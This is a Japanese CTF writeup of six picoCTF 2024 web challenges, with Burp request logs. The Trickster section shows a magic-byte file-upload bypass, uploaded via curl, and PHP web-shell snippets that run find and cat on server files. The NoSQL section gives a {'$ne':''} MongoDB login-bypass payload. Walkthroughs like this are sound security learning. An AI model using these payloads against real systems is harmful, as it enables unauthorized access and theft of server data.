picoCTF 2024 Writeup : Web


# 最初に

PicoCTF 2024のWebの問題を解いていきます！！
分からないところは適宜、他の方のWriteupを参考にしていきます:pray:

# Writeup

全部で6問解きました！　

（最後の`elements`は解けなかったです）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/9f034ce9-4e27-b106-e467-c74b275bfd54.png)


ここから、Writeupを記載していきます。

## WebDecode

問題文は以下で、WebのDev Toolを使う問題のようです。
> Do you know how to use the web inspector?
Additional details will be available after launching your challenge instance.


問題のURLを開くと、頑張って探せよ！という強いメッセージのWebページが。笑
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2e9754fb-13bd-d794-b44a-209f66e2b6d0.png)


問題文にweb inspectorとあるので、F12を押すか、右クリックして「検証」を押すとDev Toolに入れます。

そして、1つずつ確認していくと明らかに怪しい文字列があるので、これがFlagになります（確かBASE64だったはず！）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/08c31e5b-0da7-63ca-c3bb-8b2f6278bb9a.png)



## Unminify

問題文は以下です。
> I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster!


右クリックして「ページのソースを表示」を選択すると、改行されていないソースコードがあるので、「行を折り返す」にチェックを入れると少しだけ見やすくなります！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/402e49a4-99c7-541d-fb46-fd868629679e.png)


## IntroToBurp

WebフォームのURLが与えられて、問題文的にBurp Suiteを使うと思われる問題ですね。

結論だけいうと、Burp Suiteで一行削除するだけでいいのですが、いろいろ試行錯誤してしまいましたｗ

自分ではわからなかったので、以下のWriteupを参考にしました

https://github.com/noamgariani11/picoCTF-2024-Writeup/blob/main/Web%20Exploitation/IntroToBurp.md






## Bookmarklet

> Why search for the flag when I can make a bookmarklet to print it for me?
Additional details will be available after launching your challenge instance.


Bookmarkletとは、、、

> プログラミング言語のJavaScriptで作られたプログラムをブックマークのURLに追加することで利用可能です。
ブックマークレットを使えば、Webページの見た目を変えたり、選択したテキストをキーワード検索したり、ページ翻訳したりなど、さまざまな機能を簡単に実行できます。


引用元

https://web-camp.io/magazine/archives/83740/

コンソールで実行すると、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/7d671256-213e-6194-84be-3ad06b29fcc5.png)


Flagが出力されました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0cd74d02-ed35-8201-507e-28dff5753a3b.png)


## Trickster


> I found a web app that can help process images: PNG images only!


元のWeb画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/215fb449-94f1-512a-28fe-bb1e93738614.png)

ファイルアップロードした後の画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/8a33d9d1-bf02-80de-e514-00a7af53ef78.png)


テキストファイルの拡張子だけを変更したものをアップしてみると、エラーがでたので、ファイルの中身まで見ているみたい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/d53d6750-d475-1af9-56c7-68328b3a45f5.png)


エラー文
```
Error: The file is not a valid PNG image: efbbbf41
```

`efbbbf41`は何を表しているんだろう、、、



PDFはアップロードできるみたい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/853a88f1-5eed-f828-f23c-bbf3b21294d6.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/5105efe3-4483-0900-cf6f-b9ff029ecf04.png)


実行ファイルの拡張子を変えてアップすると、また違ったエラーがでた。裏ではPHPが動いているみたい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/77d7f5dd-1e70-f29d-148b-899e4c80efdd.png)

```
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:18 Stack trace: #0 /var/www/html/index.php(18): file_get_contents('') #1 {main} thrown in /var/www/html/index.php on line 18
```


他に手がかりもないので、robots.txtも見てみる
```
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
```



`instructions.txt`を見てみると、アップロードファイルの判定基準が記載されていました！
```
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
```

判定基準は2つですね
- 拡張子が`.png`
- 16進数表記でファイルの先頭が`50 4E 47`



`uploads/`はアクセス権限がないみたい。adminが編集するため格納するって書いてあったしね。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/4e8bcf35-5008-b834-025e-6139039cce37.png)


ただ、そのフォルダーに格納されたファイルは直接アクセスできそうです

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/b3753803-e69c-562d-3cea-473f74b6a772.png)


ということは、リバースシェルを張るプログラムを作成して、その先頭を`50 4E 47`にして、直接URLをたたけば、リバースシェルがはれるかも？

`50 4E 47`　はもとに戻すと`PNG`ということで、Pentestmopnkeyのphp-reverse-shellの最初にPNGを追加してみる。
アップロードは成功！　いい感じ！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/25e9ec38-9138-79c9-b951-968e4755c2e1.png)


拡張子だけ.pngにして、アップロード
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ee087c0d-afb8-82d6-ed49-44307f59abb4.png)

成功！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/9d7fbd69-2d2a-6fc2-ae49-fa1cfa5ab65f.png)


リバースシェルを受ける準備もしておく
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/8476aeda-8641-2ed8-f6ec-5370c955807b.png)


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/8d7c3de3-386d-4210-b15c-5c867b0bfee8.png)


うん、失敗！笑
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/e692be31-be9d-5640-15cd-dba5a8557830.png)


わからなくなったので、以下のWriteupを見てみる。

流れは間違っていなさそう。ただ、ファイルの末尾を`.png.php`にする必要があったみたい

https://zenn.dev/tetsurou/articles/0f8e757ab6d6b3



WebUIだと、`.png`以外を選択できないのでcurlでアップロードするとのこと。。
なるほど。。。


まずは`PNG<?php phpinfo(); ?>`を`test.png.php`で作成してアップロード
```
┌──(kali㉿kali)-[~/…/PicoCTF/picoCTF_2024/Web/Trickster]
└─$ curl -F file=@test.png.php  http://atlas.picoctf.net:62638/
<!DOCTYPE html>
<html>
<head>
    <title>File Upload Page</title>
</head>
<body>
    <h1>Welcome to my PNG processing app</h1>

    File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".png">
        <input type="submit" value="Upload File">
    </form>
</body>
</html>

```

うまくPHPファイルを実行できた！！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/5b8b536b-3068-3bea-340b-dc9d6bcd481f.png)


以下のファイルをアップロードして実行して、`/uploads`に格納されているファイルを確認してみる
```
PNG
<?php
$output = null;
exec('find ./ -type f', $output);
print_r($output);
?>

```


試しにアップロードしたものが確認できました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/fc0fae33-658e-cee2-41f0-e89ecd10230a.png)


Writeupにあったコマンドをアップロードして実行して、一つ上の階層のファイルを見てみる
```
PNG
<?php
$output = null;
exec('find ../ -type f', $output);
print_r($output);
?>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/3ab0d006-553a-d958-8f14-66ba13106c06.png)


明らかに怪しいMQZWCYZWGI2WE.txtの中身をみるPHPスクリプトを作成して、アップロード！
```
PNG
<?php
$output = null;
exec('cat ../MQZWCYZWGI2WE.txt', $output);
print_r($output);
?>
```

これをURLで直接たたけば、フラグが手に入ります！




## No Sql Injection


URLだけでなく、ファイルも与えられる問題ですね

URLを叩くとログイン画面になって、適当に入力したら、普通にエラーになります
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ebe018e6-3389-d202-d9bb-3d45d3bccd9b.png)



index.htmlの最後に記載のあるScriptをWebページのコンソールで直接実行する

```
  document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();

            const formData = {
                email: document.getElementById('email').value,
                password: document.getElementById('password').value
            };

            fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(formData)
            })
            .then(response => response.json())
            .then(data => {
                console.log(data);
                if (data.success) {
                    // Save email and password to session storage (or handle it as needed)
                    sessionStorage.setItem('email', data.email);
                    sessionStorage.setItem('token', data.token);
                    sessionStorage.setItem('firstName', data.firstName);
                    sessionStorage.setItem('lastName', data.lastName);
                    window.location.href = '/admin';
                } else {
                    alert('Invalid credentials');
                }
            })
            .catch(error => console.error('Error:', error));
        });
```




適当な認証情報を入れて、ログイン失敗した時には、以下の出力がコンソールに出力される。
あと、上記のScriptを実行しておくと、認証失敗が2回でるようになった、、
```
{success: false}
success
: 
false
[[Prototype]]
: 
Object
constructor
: 
ƒ Object()
hasOwnProperty
: 
ƒ hasOwnProperty()
isPrototypeOf
: 
ƒ isPrototypeOf()
propertyIsEnumerable
: 
ƒ propertyIsEnumerable()
toLocaleString
: 
ƒ toLocaleString()
toString
: 
ƒ toString()
valueOf
: 
ƒ valueOf()
__defineGetter__
: 
ƒ __defineGetter__()
__defineSetter__
: 
ƒ __defineSetter__()
__lookupGetter__
: 
ƒ __lookupGetter__()
__lookupSetter__
: 
ƒ __lookupSetter__()
__proto__
: 
(...)
get __proto__
: 
ƒ __proto__()
set __proto__
: 
ƒ __proto__()
```



以下はserver.jsの一部を引用しているが、MongoDBからuserの情報を抜き取れれば、`success: true`になりそう。。

```
try {
        const user = await User.findOne({
          email:
            email.startsWith("{") && email.endsWith("}")
              ? JSON.parse(email)
              : email,
          password:
            password.startsWith("{") && password.endsWith("}")
              ? JSON.parse(password)
              : password,
        });

        if (user) {
          res.json({
            success: true,
            email: user.email,
            token: user.token,
            firstName: user.firstName,
            lastName: user.lastName,
          });
        } else {
          res.json({ success: false });
        }
      } 
```


わからなくなったので、またまた以下のWriteupにお世話になりました

https://zenn.dev/tetsurou/articles/0f8e757ab6d6b3


EmailとPasswordに`{"$ne":""}`を入れてみるみたい



入れるとうまくいく

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/706ca21e-8dde-84ed-c9a2-7e000f09e12c.png)


"$ne"はMongoDBで等しくないことを表す演算子で、
`{ "<field>": { "$ne": <value> } }`として使うみたい

{"$ne":""}を使うとサーバー側では以下の処理を実施して、空欄でないものを出力するようになります
```
User.findOne({
          email:{"$ne": ""}
          password:{"$ne": ""}
          });
```

server.jsの最初の方に初期ユーザーを登録するコードがあったので、このユーザーの情報が出力されたと思われますね
```
    // Store initial user
    const initialUser = new User({
      firstName: "pico",
      lastName: "player",
      email: "picoplayer355@picoctf.org",
      password: crypto.randomBytes(16).toString("hex").slice(0, 16),
    });
    await initialUser.save()
```


## elements

以下のWriteupを見たが、自分にはまだ早かったようだ、、、、

https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024/elements




# 最後に


今回学んだことは以下
- WebUIでファイルアップロードできるWebページはcurlでもアップロードできる
- No SQLのInjectionもできる（良い経験になった！）」
- ファイルアップロードの判定基準を探ることは大切













# 参考


## IntroToBurpでいろいろ試したこと

結果的に解答にはつながらなかったですが、いろいろ試したことを備忘録として記載しておきます。。。。。。


まずは適当に入れてみます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/704638dc-2cff-f10b-de2d-a2f64e7eeb7f.png)

2FA認証も用意しているのか（入力欄だけ）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/12882e57-4a4e-589c-bf52-660f750d0e84.png)

OTP（たぶんOne Time Password）があっていないと怒られる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/9be6a27a-e5c1-336b-d6dc-2cb46e2f2482.png)

ここからBurp Suiteを使ってみる


まずはWebフォームにアクセスしたときの出力
```
GET / HTTP/1.1

Host: titan.picoctf.net:56409

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
```


全部`a`を入れる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/9b7c7646-ea4b-e5c0-0ed5-eea5bd2b64ff.png)


Registerを押した後のBurpの出力は以下
```
POST / HTTP/1.1

Host: titan.picoctf.net:56409

Content-Length: 174

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:56409

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:56409/

Accept-Encoding: gzip, deflate, br

Cookie: session=eyJjc3JmX3Rva2VuIjoiMDIzMDU4NDRmZmE1OTRhODgyNDY5OGQwYTg0OTI4Mzg1NTc2MDQ2YSJ9.Z3CjSQ.3OAjo9K9pAjui9rAZBY-bgDnFw4

Connection: keep-alive



csrf_token=IjAyMzA1ODQ0ZmZhNTk0YTg4MjQ2OThkMGE4NDkyODM4NTU3NjA0NmEi.Z3CjSQ.mCSDQ8kJulS1Z9J2iU7BeApjqbQ&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
```


Cookieの`session=`の値はJWTのようなので、https://jwt.io/ で調べてみる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/7f738135-57c9-da0f-1230-c7be2835c442.png)

`csrf_token`の前半もJWTのようだったので、同じく調べてみた
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/03e2168d-3f5b-bf27-61b2-677c84af98e4.png)


2つが示すcsrf_tokenは同じ値なので、なんだか意味のありそうな、なさそうな結果になった

Burpでもう一度、URLをたたいてForwardしてみる

```
GET /dashboard HTTP/1.1

Host: titan.picoctf.net:56409

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://titan.picoctf.net:56409/

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jEsKAyEQRO_iOgs_rWlzGenMKAmZUfFDCGHuPgYku6pXvPqy5dk-7MaIXdhSS3AtvXwcgEvFNQKEQNoCIUowFldOCFaiQq2vhoP5eaFvm4u0-_mTWh5JKCGVGDVTre9U1rnmR4rexb7ffZmoV1_-_nECJIgqqQ.Z3ClpQ.GsrtgeXWdv8hwiWtcqLdAoD7TNA

Connection: keep-alive

```


Cookie: sessionがJWTのようでJWTでない、かつ、BASE64でもないので、気になる。。


一旦、続けてForwardする

MFAの入力画面で、aを入れてsubmitを押す

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/3ef8a94b-8855-0163-31e9-d2a2256655ae.png)



まさかのBurpは何も出力しない（Timeoutしたのか？？）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/1bcc6fa8-1cae-9c21-5ea4-1c7e0af5ad0e.png)



時間切れになったので、picoCTF側のインスタンス再起動して再度Registerしてみる

```
POST / HTTP/1.1

Host: titan.picoctf.net:62807

Content-Length: 174

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:62807

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=eyJjc3JmX3Rva2VuIjoiMjgwM2RkMmIwOWQzMDg1OTYwOGMwNTQ3ZWI1ZGQ5YzVjNTdjMjQ4NyJ9.Z3CpdQ.L0Yde1hf4jtebXNe_XAvBkGgq50

Connection: keep-alive



csrf_token=IjI4MDNkZDJiMDlkMzA4NTk2MDhjMDU0N2ViNWRkOWM1YzU3YzI0ODci.Z3CpdQ.N1TEgzNZ5WJI9Oc6Tdl7mg8DFTg&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
```


お、Cookieやcsrf_tokenの出力結果が変わった


```
GET /dashboard HTTP/1.1

Host: titan.picoctf.net:62807

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE

Connection: keep-alive
```
Cookieの値も少し違うな、、、最初の数文字は同じだが、、




```
POST /dashboard HTTP/1.1

Host: titan.picoctf.net:62807

Content-Length: 5

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:62807

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:62807/dashboard

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE

Connection: keep-alive





otp=a
```





全部ｂで入れてみる
```
POST / HTTP/1.1

Host: titan.picoctf.net:62807

Content-Length: 174

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:62807

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE

Connection: keep-alive



csrf_token=IjI4MDNkZDJiMDlkMzA4NTk2MDhjMDU0N2ViNWRkOWM1YzU3YzI0ODci.Z3CrTA.Qx32XnNMdPZlgxXhEfq7DcEKXmk&full_name=b&username=b&phone_number=b&city=b&password=b&submit=Register
```




```
GET /dashboard HTTP/1.1

Host: titan.picoctf.net:62807

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jMEKwyAQRP_Fcw-LyUbtz0jc3dDSREUNoZT-ez1IbzNvePNR9GxvdVdB3RTVsvmWXhI70BYmZh3A8QQW3QKWAGcjAZkdIaEhPVvTve3cdx_XQ8ZParknAL0g9prXWq9UeKz5kaL4eB5BykBnlfL3vz99oiuZ.Z3CsSA.K9txpGugJK4AS_YZ58ZaHuNkDMk

Connection: keep-alive
```


MFA入力後

```
POST /dashboard HTTP/1.1

Host: titan.picoctf.net:62807

Content-Length: 5

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:62807

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:62807/dashboard

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jMEKwyAQRP_Fcw-LyUbtz0jc3dDSREUNoZT-ez1IbzNvePNR9GxvdVdB3RTVsvmWXhI70BYmZh3A8QQW3QKWAGcjAZkdIaEhPVvTve3cdx_XQ8ZParknAL0g9prXWq9UeKz5kaL4eB5BykBnlfL3vz99oiuZ.Z3CsSA.K9txpGugJK4AS_YZ58ZaHuNkDMk

Connection: keep-alive



otp=a
```

ここまで試して以下2つのことがわかった
- 入力後のCookieとMFAの画面が表示される前のCookieが違う
- MFAの入力前後でCookieは同じ

それならば、最初から最後まで同じCookieになるようにBurp Suiteで値を書き換える

```
POST / HTTP/1.1

Host: titan.picoctf.net:62807

Content-Length: 174

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://titan.picoctf.net:62807

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=eyJjc3JmX3Rva2VuIjoiOTk4MzY3ZTI0NTkxZmEzMDkzOTEwMDY0ZjA5ZjYxY2U1YTViZThjMiJ9.Z3CtTg.ZWDcY6bwdW0sQPVbQsD7IcWvnLc

Connection: keep-alive



csrf_token=Ijk5ODM2N2UyNDU5MWZhMzA5MzkxMDA2NGYwOWY2MWNlNWE1YmU4YzIi.Z3CtTg.oypVF2_vmu7HytGZonX16LZamlw&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
```



Cookieとcsrf_tokenのJWTの値を調べる
https://jwt.io/#debugger-io?token=eyJjc3JmX3Rva2VuIjoiOTk4MzY3ZTI0NTkxZmEzMDkzOTEwMDY0ZjA5ZjYxY2U1YTViZThjMiJ9.Z3CtTg.ZWDcY6bwdW0sQPVbQsD7IcWvnLc



https://jwt.io/#debugger-io?token=Ijk5ODM2N2UyNDU5MWZhMzA5MzkxMDA2NGYwOWY2MWNlNWE1YmU4YzIi.Z3CtTg.oypVF2_vmu7HytGZonX16LZamlw



csrf_tokenは以下の値になっていることを確認
```
"csrf_token": "998367e24591fa3093910064f09f61ce5a5be8c2"
```


普通にForwardすると以下の出力になるが、、、
```
GET /dashboard HTTP/1.1

Host: titan.picoctf.net:62807

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://titan.picoctf.net:62807/

Accept-Encoding: gzip, deflate, br

Cookie: session=.eJw9jEsOAiEQRO_SaxcwTMO0lyEMNtE4A4RPjDHeXRbEXdWrvPqAf7Q3XMHBBXwtwbb05DgA0aa04WVFksEpQYqkEHoNgoKWntHhzptfhhf6cdjoTp4_qeWRpEE0OGp2tb5Suc0131NkG_u5c5moVy5___sDZVUrdQ.Z3Ct_w.hBLE8xmb3-3K1LGmU3HO-k_H5vk

Connection: keep-alive
```

書き換えて、以下の出力にした！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/416e1668-225e-375f-80cc-54d67afc538d.png)


結果は、、、


入力欄がリセットされただけだった。。。。




以下のWriteupを見ましたが、Burpで値を一部削除すればいいだけだったみたい、、、
いや、逆に難しい、、、